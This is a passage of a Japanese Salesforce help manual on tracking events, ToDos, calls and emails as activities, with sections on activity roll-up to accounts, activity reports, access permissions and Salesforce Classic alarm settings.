される取引先、取引先責任者、商談の所有者のデフォルトのレコードタイプが使用されます。

関連トピック:

リード項目の対応付け
FAQ - リード

Web サイトのリードを自動的に送信できますか?

はい、できます。設定した条件に基づいて変更されるテンプレートを使用して、これらの見込み客に送信する
自動レスポンスルールを作成できます。

関連トピック:

営業チームの Web サイトからのリードの生成
FAQ - リード

レコードの [共有] ボタンが表示されないのはなぜですか?

[共有]ボタンを使用すると、組織の共有設定または共有ルールを超えて、レコードへのアクセス権をユーザが
他のユーザに許可できます。このアクセス権は、不要になった時点で簡単に削除できます。
[共有] ボタンは、レコードまたは関連レコードの共有モデルが「非公開」または「公開/参照のみ」の場合に
表示されます。たとえば、取引先の [共有] ボタンは、取引先の組織の共有設定が「公開/参照・更新可能」で
も、関連商談の組織の共有設定が「公開/参照のみ」であれば表示されます。
このボタンがページレイアウトで使用可能な場合、システム管理者にはすべてのレコードでボタンが表示され
ます。システム管理者以外のユーザの場合は、所有するレコードでのみボタンが表示されます。

関連トピック:

FAQ - 参照および表示
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活動、商談、および商品の管理

ミーティングと ToDo の計画および追跡

活動
行動と ToDo は、営業の生産性を促進するエンジンです。Salesforce でミーティングの準備をし、現在最も優先
度の高い ToDo はどれかを把握できます。リストとレポートでミーティングと ToDo を一緒に追跡し、リード、
取引先責任者、商談、取引先、およびキャンペーンの状況を詳細に把握できます。行動と ToDo は、Salesforce

の履歴をレポートする目的にも使用できます。ToDo を委任するマネージャ、営業チームのメンバー、1 か月に
50 件の商談を成立させる営業担当のいずれでも、Salesforce の活動が日々の業務を促進します。

1. 活動を一緒に追跡
Salesforceの活動とは、行動、ToDo、かけた電話、送信したメールです。Salesforce では、活動を一緒に追跡し
て、商談および取引先に関する進行状況をより総合的に把握する方法がいくつかあります。

2. 次のステップと過去の活動の追跡方法
担当している商談と取引先での最近の活動や次の活動を一覧で把握できます。

3. 活動の使用に関する考慮事項
活動を使用する場合は、Shared Activities を有効化して主取引先責任者を指定した場合の影響、および取引先
レコードへの活動の積み上げ集計方法と [最終活動日] の表示内容を理解することなど、次の考慮事項に留
意してください。

4. 取引先への活動の積み上げ集計方法を変更する場合の考慮事項
デフォルトでは活動の [関連先]項目で、活動が表示される取引先を指定します。この取引先は、結果とし
て取引先責任者の主取引先であることが多いですが、この動作は必ずしも意味があるわけではありません。
たとえば、ユーザが取引先責任者を複数の取引先に関連付けることができる場合、取引先責任者の主取引
先が常にその活動に関連するとは限りません。活動が取引先責任者の副取引先または間接取引先のいずれ
かに表示されたほうが意味がある場合があります。このデフォルトの積み上げ集計動作は [活動設定] ペー
ジからオフにできますが、それによる影響に注意してください。

5. 活動レポート
さまざまなレポートを実行して、取引先と商談の進行状況と履歴に関する洞察を得ることができます。
Salesforce システム管理者が Shared Activities を有効化している場合は、特定の標準レポートまたはカスタムレ
ポートを実行できます。これらのレポートには、行動、ToDo、電話、メールに関する詳細と、関連取引先
責任者、取引先、商談、その他の関連レコードが表示されます。

6. 活動へのアクセス
ここでは、どのユーザが行動と ToDo を表示、作成、および削除できるかと、そのアクセスが可能になる条
件について説明します。カレンダーの共有およびアクセスは、個々の活動へのアクセスとは別個に制御さ
れます。
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7. Salesforce Classic の活動アラーム
Salesforceでは、アラームウィンドウに行動と ToDo のアラームが表示されます。Salesforce Classicを使用してい
る場合、アラームがトリガされると常にアラームウィンドウが開きます。Salesforce Classic にログインする
と、前回のログイン時以降にトリガされたアラームがある場合は、音が鳴ります。アラームは個人設定で
カスタマイズできます。

8. アーカイブ済みの活動
Salesforce では、特定の条件に基づいたスケジュールで行動と ToDo がアーカイブされます。

関連トピック:

行動とカレンダー
ToDo

活動を一緒に追跡
Salesforce の活動とは、行動、ToDo、かけた電話、送信したメールです。Salesforce では、活動を一緒に追跡し
て、商談および取引先に関する進行状況をより総合的に把握する方法がいくつかあります。

1. Lightning Experience で活動を一緒に追跡
担当する商談ごとに次の予定をいつでも確認でき、過去の活動を一覧で把握できます。行動、ToDo、電話、
メール (「活動」と総称) をホームページ、Kanban ボード、活動タイムライン、およびレポートで追跡でき
ます。

2. Salesforce Classic で活動を一緒に追跡
行動、ToDo、電話、メール (「活動」と総称) をリスト、カレンダー、およびレポートで追跡できます。た
とえば、取引先に関するすべての活動を追跡して、取引先に関連する準備、フォローアップ、その他の作
業予定および完了した作業の状況を総合的に把握できます。活動は、件名、取引先責任者名、関連レコー
ドなど、多くの項目を共有しています。
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Lightning Experience で活動を一緒に追跡

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

ToDo を作成し、活動を記
録する
• 「ToDo の編集」

行動を作成する
• 「行動の編集」

メールを送信する
• 「メールの送信」

担当する商談ごとに次の予定をいつでも確認でき、過去の活動を一覧で把握で
きます。行動、ToDo、電話、メール (「活動」と総称) をホームページ、Kanban

ボード、活動タイムライン、およびレポートで追跡できます。
• ホームページを使用する。

ホームページの [今後の行動] には、カレンダーで本日スケジュールされてい
る今後のミーティングが 5 つまで表示され、[今日の ToDo] には、本日が期日
の ToDo が 5 つまで表示されます。過去の行動は、時間の経過に沿って [今後
の行動] から削除されます。

• Kanban ボードを使用する。
商談またはリードの黄色い三角形は、商談にスケジュールされているミー
ティングまたは ToDo がないことを示します。商談を進展させるには、この
三角形をクリックして活動を作成します。

• 活動タイムラインを使用する。
活動タイムラインには、商談、リード、取引先、取引先責任者に関する未完
了の ToDo、ミーティング予定、および過去の活動 (記録された活動、送信し
たメールも含む) が表示されます。

• 活動レポートを使用する。
さまざまなレポートを実行して、取引先と商談の進行状況と履歴に関する洞
察を得ることができます。Salesforceシステム管理者が Shared Activities を有効化
している場合は、特定の標準レポートまたはカスタムレポートを実行できます。これらのレポートには、
行動、ToDo、電話、メールに関する詳細と、関連取引先責任者、取引先、商談、その他の関連レコードが
表示されます。

Salesforce Classic で活動を一緒に追跡

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ToDo を作成し、活動を記
録する
• 「ToDo の編集」

行動を作成する
• 「行動の編集」

メールを送信する
• 「メールの送信」

行動、ToDo、電話、メール (「活動」と総称) をリスト、カレンダー、およびレ
ポートで追跡できます。たとえば、取引先に関するすべての活動を追跡して、
取引先に関連する準備、フォローアップ、その他の作業予定および完了した作
業の状況を総合的に把握できます。活動は、件名、取引先責任者名、関連レコー
ドなど、多くの項目を共有しています。

活動リストビュー
Salesforce には、複数の活動リストビューが用意されています。独自のリスト
ビューを定義することもできます。
すべての活動

参照可能な行動と ToDo が表示されます。Personal Edition では、[すべての活動]

リストビューに自分のすべての活動が表示されます。
私の活動

自分が所有する行動と ToDo が表示されます。
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私の代理活動
自分が作成し、他の人が所有する活動が表示されます。

メモ: 複数の Salesforce ユーザを行動または ToDo に割り当てることは、活動をそれらのユーザに委任す
ることと似ています。[私の代理活動] リストビューには、その活動を自分がまだ所有している場合で
も、すべての割り当て先の活動が一緒に表示されます。リストビューには招待されたユーザが活動に
割り当てられたユーザとして表示されますが、活動の詳細ページには自分が割り当て先として表示さ
れます。

私のチームの活動
ロール階層内で自分の上司にあたるユーザが所有する活動が表示されます。チームの活動を自分のタイム
ゾーンに変換すると、使いやすくなります。

その他の活動リスト
[活動予定] 関連リスト

レコードの [活動予定] 関連リストには、レコードに関連する将来の行動と未完了 ToDo のすべてが表示され
ます。

[活動履歴] 関連リスト
レコードの [活動履歴] 関連リストには、レコードまたはその関連レコードの完了した ToDo、記録された電
話、保存された相互関係ログ、期限の過ぎた活動、送信メール、一括送信メール、Microsoft® Outlook®から追
加したメール、差し込み印刷したドキュメントがすべて表示されます。

[コンソール] タブ
[コンソール] タブでは、画面上で活動とその関連レコードを検索、表示、および編集できます。

活動レポート
標準およびカスタム活動レポート

さまざまなレポートを実行して、取引先と商談の進行状況と履歴に関する洞察を得ることができます。
Salesforce システム管理者が Shared Activities を有効化している場合は、特定の標準レポートまたはカスタムレ
ポートを実行できます。これらのレポートには、行動、ToDo、電話、メールに関する詳細と、関連取引先
責任者、取引先、商談、その他の関連レコードが表示されます。

次のステップと過去の活動の追跡方法
担当している商談と取引先での最近の活動や次の活動を一覧で把握できます。

1. Lightning Experience での作業の管理と過去の活動の表示
担当する商談ごとに次の予定をいつでも確認でき、過去の活動を一覧で把握できます。[ホーム] ページと
活動タイムラインの両方に、未完了の ToDo とミーティング予定が表示されます。活動タイムラインには、
商談、リード、取引先、または取引先責任者に関する過去の活動も表示されます。
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2. Salesforce Classic での [活動予定] と [活動履歴の参照] の使用
[活動予定] と [活動履歴] 関連リストでは、担当している商談と取引先での最近の活動や次の活動を一覧で把
握できます。ボタンとリンクを使用して、ToDo の作成、ミーティングの要請または取引先責任者への更新
要求、活動の記録、メール送信を行うことができます。個人取引先を使用している場合、行動または ToDo

の [名前] または [関連先] 項目に個人取引先を入力できます。

Lightning Experience での作業の管理と過去の活動の表示

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

ToDo を作成し、活動を記
録する
• 「ToDo の編集」

行動を作成する
• 「行動の編集」

メールを送信する
• 「メールの送信」

担当する商談ごとに次の予定をいつでも確認でき、過去の活動を一覧で把握で
きます。[ホーム] ページと活動タイムラインの両方に、未完了の ToDo とミーティ
ング予定が表示されます。活動タイムラインには、商談、リード、取引先、ま
たは取引先責任者に関する過去の活動も表示されます。
• 商談または取引先に対する次のステップを実行する。

[ホーム] ページの [今後の行動] には、カレンダーで本日スケジュールされて
いる今後のミーティングが 5 つまで表示されます。[今日の ToDo] には、本日
が期日の ToDo が 5 つまで表示されます。
活動タイムラインでは、[次のステップ] 領域を使用して未完了の ToDo を管理
し、ミーティング予定をプレビューします。タイムラインの上にある活動コ
ンポーザを使用して ToDo とミーティングを追加します。ビューを選択する
ことで、一度に 1 種類の活動に集中できます。
タイムラインに追加した活動は、担当する商談、リード、またはその他のレ
コードに自動的に表示されます。その他の関連レコードに関する自分の活動
も [次のステップ] の下に表示されます。ToDo を商談に追加すると、その ToDo

は、商談に関連する取引先責任者にも積み上げられます。

メモ: 活動を削除せずに、活動上の取引先責任者またはレコードを削除
できます。たとえば、取引先責任者 A と取引先責任者 B に関連している
ToDo を取引先責任者 A のみに関連させるとします。ToDo を削除するの
ではなく、取引先責任者 B を [名前] 項目から削除します。

• 過去の活動を参照する。
[過去の活動] 領域には、過去のミーティング、記録した活動、送信したメールが表示されます。[次のステッ
プ] の下にある項目と同様、[過去の活動] の下にある項目はその他の関連レコードに表示されます。
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Salesforce Classic での [活動予定] と [活動履歴の参照] の使用

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ToDo を作成し、活動を記
録する
• 「ToDo の編集」

行動を作成する
• 「行動の編集」

メールを送信する
• 「メールの送信」

[活動予定] と [活動履歴] 関連リストでは、担当している商談と取引先での最近の
活動や次の活動を一覧で把握できます。ボタンとリンクを使用して、ToDo の作
成、ミーティングの要請または取引先責任者への更新要求、活動の記録、メー
ル送信を行うことができます。個人取引先を使用している場合、行動または ToDo

の [名前] または [関連先] 項目に個人取引先を入力できます。

活動予定
[活動予定] 関連リストには、他のレコードに関連する未完了の ToDo、将来の行
動、および要請済みミーティングが表示されます。たとえば、カレンダーで取
引先責任者に関連するミーティングが予定されているとします。その行動は、
取引先責任者とその取引先責任者が関連する取引先の [活動予定] 関連リストに
表示されます。
次の操作を実行するには、[活動予定] を使用します。
• 行動と ToDo を作成して自動的にレコードに関連付ける
• 取引先責任者とのミーティングを要請する ( は取引先責任者にメールで送

信されたミーティング要請を示します)

• 取引先責任者に更新を依頼する
• リストの活動を編集、完了、または削除する
ミーティング要請と更新要求は、取引先責任者、リード、または個人取引先に送信できます。

活動履歴
[活動履歴] 関連リストには、レコードとそれに関連付けられたレコードに関する完了した ToDo、記録された電
話、保存された相互関係ログ、期限の過ぎた行動、送信メール、一括送信メール、Microsoft® Outlook® から追加
したメール、差し込み印刷したドキュメントがすべて表示されます。たとえば、取引先責任者に関連する ToDo

が完了したばかりだとします。その ToDo は、取引先責任者とその取引先責任者が関連する取引先の [活動履歴]

関連リストに表示されます。
次のアクションを実行するには、[活動履歴] を使用します。
活動の記録

予定外の電話の結果を記録して、フォローアップの ToDo をスケジュールします。この電話は、[活動履歴]

に完了した ToDo として表示され、ToDo は [活動予定] に表示されます。
差し込み印刷

システム管理者が用意したデータと Microsoft Word テンプレートを使用して、個人用ドキュメントを生成し
ます。差し込み印刷したドキュメントを [活動履歴] に表示するかどうかを選択できます。一部のレコード
タイプではこのボタンを使用できません。

メールを送信
取引先責任者にメールを送信し、そのメールを取引先責任者と対応する取引先、商談、ケース、カスタム
オブジェクトに関連付けます。件名が 100 字を超えると、切り捨てられて省略記号 (...) が付きます。一部の
レコードタイプではこのボタンを使用できません。
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Gmail を送信
Gmail アカウントから取引先責任者にメールを送信します。このリンクが表示されない場合は、[Gmail ボタ
ンと Gmail リンク] を有効化するようにシステム管理者に依頼してください。Gmail to Salesforce 機能も有効化
されている場合、送信したメールは、取引先責任者またはリードレコードの [活動履歴] に表示されます。

登録情報照会
更新された取引先責任者情報を要求するメールを取引先責任者に送信します。応答を受信した後、取引先
責任者のレコードを更新できます。このメールと一括登録情報照会メールは、[活動履歴] に表示されます。

すべて表示
レコードに活動履歴がある場合、その活動履歴を印刷用に表示します。

セルフサービスポータルに活動を表示するかどうかを選択
Salesforce システム管理者によって [ケース活動] 関連リストがセルフサービスポータル内のケース参照ペー
ジレイアウトに追加されていて、項目レベルセキュリティで活動の [セルフサービスに公開]チェックボッ
クスを表示するように設定した場合は、活動ごとに次のオプションがあります。
• 公開: 完了した活動をセルフサービスポータル内のケースに関する [活動履歴] に表示します。
• 非公開: 完了した活動をセルフサービスポータル内のケースに関する [活動履歴] に表示しません。

活動の使用に関する考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

活動を使用する場合は、Shared Activities を有効化して主取引先責任者を指定した
場合の影響、および取引先レコードへの活動の積み上げ集計方法と [最終活動日]

の表示内容を理解することなど、次の考慮事項に留意してください。
Shared Activities

• 1 つの行動または ToDo を 50 件までの取引先責任者 (ただしリードは 1 件のみ)

に関連付けることができます。活動が、活動タイムライン、関連リスト、レ
ポートで取引先責任者に関連付けられます。

• 各取引先責任者の詳細ページには、取引先責任者の他の詳細と一緒に、[活動
予定] および [活動履歴] 関連リストに関連行動および ToDo が表示されます。
一方、行動または ToDo の詳細ページには、その活動に関連するすべての取
引先責任者の名前が、他の詳細と一緒に表示されます。活動に関連付けた取
引先責任者の一部が表示されない場合、[名前] 関連リストを活動の詳細ペー
ジレイアウトに追加するように Salesforce システム管理者に依頼してくださ
い。

• 1 人の取引先責任者を活動の主取引先責任者として指定する必要があります。
主取引先責任者を削除した場合、活動の関連リスト上の次の取引先責任者が
新しい主取引先責任者になります。活動を手動で編集して、主取引先責任者を選択することもできます。
リストとレポートには、主取引先責任者と副取引先責任者が別個に表示されます。

• 複数の取引先責任者を活動に追加するオプションが表示されない場合は、Shared Activities を有効化するよう
に Salesforce システム管理者に依頼してください。

取引先への活動の積み上げ集計
Shared Activities を有効にしているかどうかに関係なく、活動の [関連先]項目は、活動と取引先のリレーション
の決定に役立ちます。

1631

ミーティングと ToDo の計画および追跡顧客への営業



活動を積み上げ集計するレコード[関連先] 項目の内容

その取引先取引先

その商談の取引先商談

その契約の取引先契約

そのカスタムオブジェクトレコードの取引先取引先オブジェクトと主従関係を持つカスタムオブ
ジェクト

取引先責任者の主取引先上記以外 (空も含む)

Shared Activities を有効にしている場合、活動は各取引先責任者の主取引先にも関連します。

メモ: 取引先責任者を複数の取引先に関連付けることができるようにシステム管理者が組織を設定した場
合、積み上げ集計の動作が変更され、活動が取引先責任者の主取引先に積み上げ集計されないことがあ
ります。詳細は、「取引先への活動の積み上げ集計方法を変更する場合の考慮事項」を参照してくださ
い。

最終活動日
最終活動日は、レコードに対して記録された最新の行動の期日、またはレコードに関連付けられた ToDo のう
ち最後に完了したものの期日のいずれかになります。最終活動日は、活動関連リストとレポート、およびレ
コード詳細ページ (取引先、取引先責任者、リードなど) に表示される場合があります。
Shared Activities が有効であるかどうかに関係なく、取引先レコードの最終活動日は、[関連先] 項目によって取
引先に積み上げ集計されるすべての活動に基づきます。取引先では、最終活動日が商談に関連する活動を表す
ことがあります。取引先責任者かリードの最終活動日は、[名前] 項目によってその取引先責任者またはリー
ドに関連する、すべての活動に基づきます。
Shared Activities が有効である場合、これは少し変化します。取引先レコードでは、最終活動日は、[関連先] 項
目によって取引先に積み上げ集計される活動に基づきます。ただし、[関連先] 項目が空白である場合、活動
は主取引先責任者の取引先に基づきます。取引先責任者とリードの最終活動日は、取引先責任者かリードが活
動の主取引先責任者になっている活動のみに基づきます。

例:  Jane は、2 つの ToDo に関連する取引先責任者です。Jane は、ToDo 1 (期日は 11 月 30 日) の主取引先責任
者ではありません。Jane は、ToDo 2 (期日は 11 月 15 日) の主取引先責任者です。Jane の取引先責任者レコー
ドの最終活動日は 11 月 15 日です。

関連トピック:

Lightning Experience で行動およびカレンダーを使用する場合の考慮事項
Lightning Experience で ToDo を使用する場合の考慮事項
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取引先への活動の積み上げ集計方法を変更する場合の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

デフォルトでは活動の [関連先] 項目で、活動が表示される取引先を指定しま
す。この取引先は、結果として取引先責任者の主取引先であることが多いです
が、この動作は必ずしも意味があるわけではありません。たとえば、ユーザが
取引先責任者を複数の取引先に関連付けることができる場合、取引先責任者の
主取引先が常にその活動に関連するとは限りません。活動が取引先責任者の副
取引先または間接取引先のいずれかに表示されたほうが意味がある場合があり
ます。このデフォルトの積み上げ集計動作は [活動設定] ページからオフにでき
ますが、それによる影響に注意してください。
積み上げ集計のデフォルト動作についての詳細は、「取引先への活動の積み上
げ集計」を参照してください。
既存の活動

積み上げ集計設定を変更しても、新しい活動のみが影響を受けます。既存の
活動が影響を受けるのは、活動を終了するときなど、積み上げ集計が再計算
されるような方法で既存の活動を更新する場合のみです。

取引先レコードへの積み上げ集計
デフォルトの動作と同様に、活動の [関連先]項目によって活動がどの取引先に関連するかが決まります。
ただし、デフォルトの動作とは異なり、活動は [氏名] 項目で指定されている取引先責任者の主取引先に
は積み上げ集計されません。

最終活動日
デフォルトの動作と同様に、[関連先]項目を使用して取引先に積み上げ集計される活動によって最終活動
日が決まります。ただし、デフォルトの動作とは異なり、取引先の最終活動日を決めるときは、活動の [名
前] 項目が常に無視されます。

個人取引先
Salesforce Classic では、積み上げ集計動作を変更しても、個人取引先は影響を受けません。活動が [関連先]

項目か [氏名] 項目のいずれかを使用して個人取引先に関連している場合、その活動は個人取引先レコー
ドに常に表示されます。個人取引先がそれ独自の主取引先であるのはこのためです。
Lightning Experienceで個人取引先レコードに表示するには、個人取引先を活動の [関連先]項目に指定する必
要があります。Shared Activities が有効になっていない場合が該当します。

リード変換
リードの変換中に活動を作成し、リードから商談を作成しない場合は、活動の積み上げ集計設定で何を指
定しても、活動はリードの主取引先に積み上げ集計されません。

関連トピック:

行動と ToDo を一緒に管理するオプションのカスタマイズ
取引先責任者-to-複数取引先
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活動レポート

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

さまざまなレポートを実行して、取引先と商談の進行状況と履歴に関する洞察
を得ることができます。Salesforce システム管理者が Shared Activities を有効化して
いる場合は、特定の標準レポートまたはカスタムレポートを実行できます。こ
れらのレポートには、行動、ToDo、電話、メールに関する詳細と、関連取引先
責任者、取引先、商談、その他の関連レコードが表示されます。

1. 活動に対して実行可能なレポート
標準またはカスタムレポートを実行して、ToDo または行動に関する詳細と関
連する取引先責任者、取引先、商談、その他の関連レコードを表示すること
ができます。

2. 営業担当と顧客のミーティングのレポート
自分の営業チームが時間配分の優先順位をどのように設定しているか洞察を
得ることができます。そのような場合、営業担当がどの顧客に時間を費やし
ているかを示すカスタムレポートを作成します。

活動に対して実行可能なレポート

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

標準またはカスタムレポートを実行して、ToDo または行動に関する詳細と関連
する取引先責任者、取引先、商談、その他の関連レコードを表示することがで
きます。

使用するレポート表示する情報

[レポート] タブで [新規カスタムレポート]をクリックし、
[活動] レポートタイプを選択します。

別のレコードタイ
プ (商談など) に関
連する活動

活動レポート。レポートに [リレーション件数] 列を追加
します。
たとえば、5 件の取引先責任者がある ToDo があるとしま
す。ToDo と行動レポートを実行すると、ToDo に関連する
取引先責任者の数を示す「5」が表示されます。

活動に関連する取
引先責任者の数

取引先責任者に関連する活動レポート。取引先責任者オブ
ジェクトから少なくとも 1 つの項目を選択します。
たとえば、レポートに 5 件の取引先責任者がある ToDo が
含まれるとします。[姓] 項目を取引先責任者オブジェク

各活動の取引先責
任者 1 人あたり 1

行

トからレポートに追加すると、この活動に関連する 5 行
(取引先責任者ごとに 1 行) が表示されます。取引先責任者
オブジェクトから項目を追加しない場合、活動に対して 1

行のみが表示されます。
取引先責任者に関連する活動レポートは、次の操作が可能
な唯一のレポートです。
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使用するレポート表示する情報

• 活動のすべての取引先責任者を表示する
• 主取引先責任者以外の取引先責任者の属性を使用して条件検索できる
その他のレポートでは、活動の主取引先責任者と取引先責任者の総数は表示さ
れますが、その他の取引先責任者の詳細は表示されません。
取引先責任者に関連する活動レポートでは、どの取引先責任者が主取引先責任
者か副取引先責任者かは表示されません。

ToDo と行動レポート、またはケースに関連する活動レポートのいずれか。
たとえば、ある ToDo の主取引先責任者が Ron Dean である場合、これらのレポー
トの [取引先責任者] 項目にはその名前が表示されます。

ToDo と行動レポートおよび
ケースが関連する活動レ
ポートの活動の主取引先責
任者。

また、主取引先責任者は ToDo の詳細ページまたは行動の詳細ページの [名前]

項目にも表示されます。
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営業担当と顧客のミーティングのレポート

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

ロール階層内で自分と自
分より下位のユーザが所
有する活動を表示する
• 権限は必要ありません

すべての活動を表示する
• 「すべてのデータの参

照」

自分の営業チームが時間配分の優先順位をどのように設定しているか洞察を得
ることができます。そのような場合、営業担当がどの顧客に時間を費やしてい
るかを示すカスタムレポートを作成します。
1. カスタムレポートタイプを作成します。

a. 主オブジェクトに [ユーザ] を選択します。
b. 残りの必須項目 ([表示ラベル]、[説明]、および [カテゴリ]) を完成させま

す。
c. [次へ] をクリックします。

2. 活動とユーザ間のリレーションを定義します。
a. 活動リレーションオブジェクトをユーザオブジェクトに関連付けます。
b. [保存] をクリックします。

3. このレポートタイプに表示される項目を定義します。
a. [レポートで選択可能な項目] セクションで、[レイアウトを編集する]をク

リックします。
b. [日付]、[件名]、[名前]、[関連先]、[リレーション件数]の [活動リレー

ション] 項目をこのレイアウトに追加します。
c. [名前] 項目の表示ラベルを [取引先責任者] に、[関連先] 項目の表示ラ

ベルを [商談] に変更します。
d. 項目ごとに、その項目をデフォルトで表示するためのオプションを選択

します。
e. [保存] をクリックします。

4. レポートを作成します。
a. [レポート] タブで、ステップ 1 ～ 3 で作成したレポートタイプを選択しま

す。
b. [概要形式] を選択し、完全名でグルーピングを作成します。
c. レポートを実行して保存します。

このレポートを使用して、営業チームが顧客に費やす時間を最適化できるようにサポートすることができま
す。
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メモ: Shared Activities を有効にしていない場合、活動リレーションに基づくカスタムレポートには行動主催
者と招待者が含まれず、また誰も招待されていない行動は表示されません。

関連トピック:

カスタムレポートタイプの作成
カスタムレポートタイプから作成したレポートの項目レイアウトの設計
レポートの作成
カスタムレポートの作成

活動へのアクセス

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ここでは、どのユーザが行動と ToDo を表示、作成、および削除できるかと、そ
のアクセスが可能になる条件について説明します。カレンダーの共有およびア
クセスは、個々の活動へのアクセスとは別個に制御されます。
デモビデオを見る: Who Sees What: 組織の共有設定
複数種類の設定が、Salesforce 組織の他のユーザによって所有されている行動と
ToDo へのアクセス権に影響します。
ロール

ユーザは、自分自身の活動と、Salesforce 組織のロール階層で自分より下位の
ユーザに割り当てられている活動を表示し、編集できます。

権限
「すべてのデータの参照」権限を持つユーザは、すべての活動を表示できま
す。

共有モデル
活動共有モデルの設定が「親レコードに連動」の場合、関連レコードのオブ
ジェクト種別に対する「すべての参照」権限を持つユーザは、活動を表示で
きます。

重要:

• たとえば、1 人以上の取引先責任者を他のユーザが表示可能な活動に関連付けているとします。それ
らのユーザには、活動と共に、活動に関連付けた各取引先責任者の名前、取引先名、および役職が、
それらの参照権限があるかどうかに関係なく表示されます。

• [非公開]チェックボックスがオンになっている行動には、その行動に割り当てられたユーザのみがア
クセスできます。

例: 次のいずれかの条件に該当する場合は活動を表示できます。
• 活動に割り当てられている
• 活動に割り当てられているユーザよりもロール階層で上位である
• 活動が関連するレコードへの参照以上のアクセス権がある
• 「すべてのデータの参照」権限がある
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• 1 人以上の取引先責任者および関連商談、取引先、またはケースに対するオブジェクトレベルの「す
べての参照」権限があり、かつ Shared Activitiesが有効化されている

• レコードに適用された共有モデルが「親レコードに連動」である関連商談または取引先に対するオブ
ジェクトレベルの「すべての参照」権限があり、かつ Shared Activities が有効化されていない

次の条件に該当する場合は、活動を (Salesforce Classic で) 編集または削除できます。
• 「ToDo の編集」および「行動の編集」権限がある

および、次のいずれかが該当する
• 活動に割り当てられている
• 活動に割り当てられているユーザよりもロール階層で上位である
• 共有モデルが「親レコードに連動」で、関連レコードのオブジェクトレベルの「すべての編集」権限

がある (Shared Activities が有効化されている場合、1 人以上の取引先責任者および関連レコードに対する
オブジェクトレベルの「すべての編集」権限が必要)

• 「すべてのデータの編集」権限がある

関連トピック:

Salesforce Classic での自分のカレンダーの共有

Salesforce Classic の活動アラーム

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce では、アラームウィンドウに行動と ToDo のアラームが表示されます。
Salesforce Classic を使用している場合、アラームがトリガされると常にアラーム
ウィンドウが開きます。Salesforce Classicにログインすると、前回のログイン時以
降にトリガされたアラームがある場合は、音が鳴ります。アラームは個人設定
でカスタマイズできます。

アラームウィンドウの情報
• 古い順に最大 100 件の消去していないアラーム
• 活動の種別 (行動または ToDo)

• 活動の件名 (クリックすると活動の詳細を表示)

• 行動の予定開始日時と ToDo の期日
• アラームの期日、またはアラームが期限切れであること

アラームの順序

行動アラームは開始日時、ToDo アラームは期日で並び替えられます。[[アラーム] ウィンドウを期日別に並び
替える] オプションが設定されていない場合、ウィンドウにアラームが次の順序で表示されます。
1. ToDo および行動アラームの日時。
2. ToDo の期日または行動の開始日時。
3. 件名のアルファベット昇順。
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[[アラーム] ウィンドウを期日別に並び替える]が設定されている場合、アラームは次の順序で表示されます。
1. ToDo の期日または行動の開始日時。ToDo に期日がない場合、アラームウィンドウにはその ToDo が最初に

表示されます。
2. ToDo および行動アラームの日時
3. 件名のアルファベット昇順

日時の表示
次の表に、アラームで行動の開始時刻と ToDo の期日がどのように表示されるかを示します。

アラームに表示される期日または開始時刻期日または指定された時刻活動の種類

行動を作成または編集したときに選択した日時行動の時刻行動

選択した日付と [個人情報] 設定ページの [始業時間] に
設定した時刻

終日の行動

ToDo を作成または編集したときに選択した日付期日ToDo

値 なし期日なし

カスタマイズ可能なアラーム設定
アラーム設定をカスタマイズするには、次の手順に従います。
1. [個人設定] から、[クイック検索] ボックスに「アラーム」と入力し、[活動アラーム] を選択します。
2. 必要に応じて、設定を変更します。

表 11 : アラーム設定
設定が有効な場合の結果設定

アラームの期日になると、アラームウィンドウが開き
ます。

アラームの時刻が来たら通知を開始する

アラームの期日になると、アラーム音が鳴ります。アラーム音を鳴らす

すべての新規行動にアラームが設定されます。行動の
開始時刻のどのくらい前にアラームをトリガするかを

行動のデフォルトのアラーム設定:

選択します。デフォルトは 15 分です。行動を編集す
るときに、アラームを無効化するか、アラーム時刻を
変更することができます。

すべての新規 ToDo にアラームが設定されます。ToDo

アラームを設定するときに日時を選択できます。デ
ToDo のデフォルトのアラーム設定:

フォルトは ToDo の期日の午前 8:00 です。ToDo を編集
するときに、アラームを無効化するか、アラーム時刻
を変更することができます。
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設定が有効な場合の結果設定

アラームは期日、アラーム日時の順に並び替えられま
す。

[アラーム] ウィンドウを期日別に並び替える

設定したアラームが表示されない場合、ブラウザでポップアップがブロックされていないか確認してくださ
い。設定をテストするには、[ブラウザでアラームがブロックされていますか?] をクリックします。

アラームのスヌーズ
一度に 1 つ以上のアラームをスヌーズできます。デフォルトのスヌーズオプションでは、5 分間隔でアラーム
が起動します。
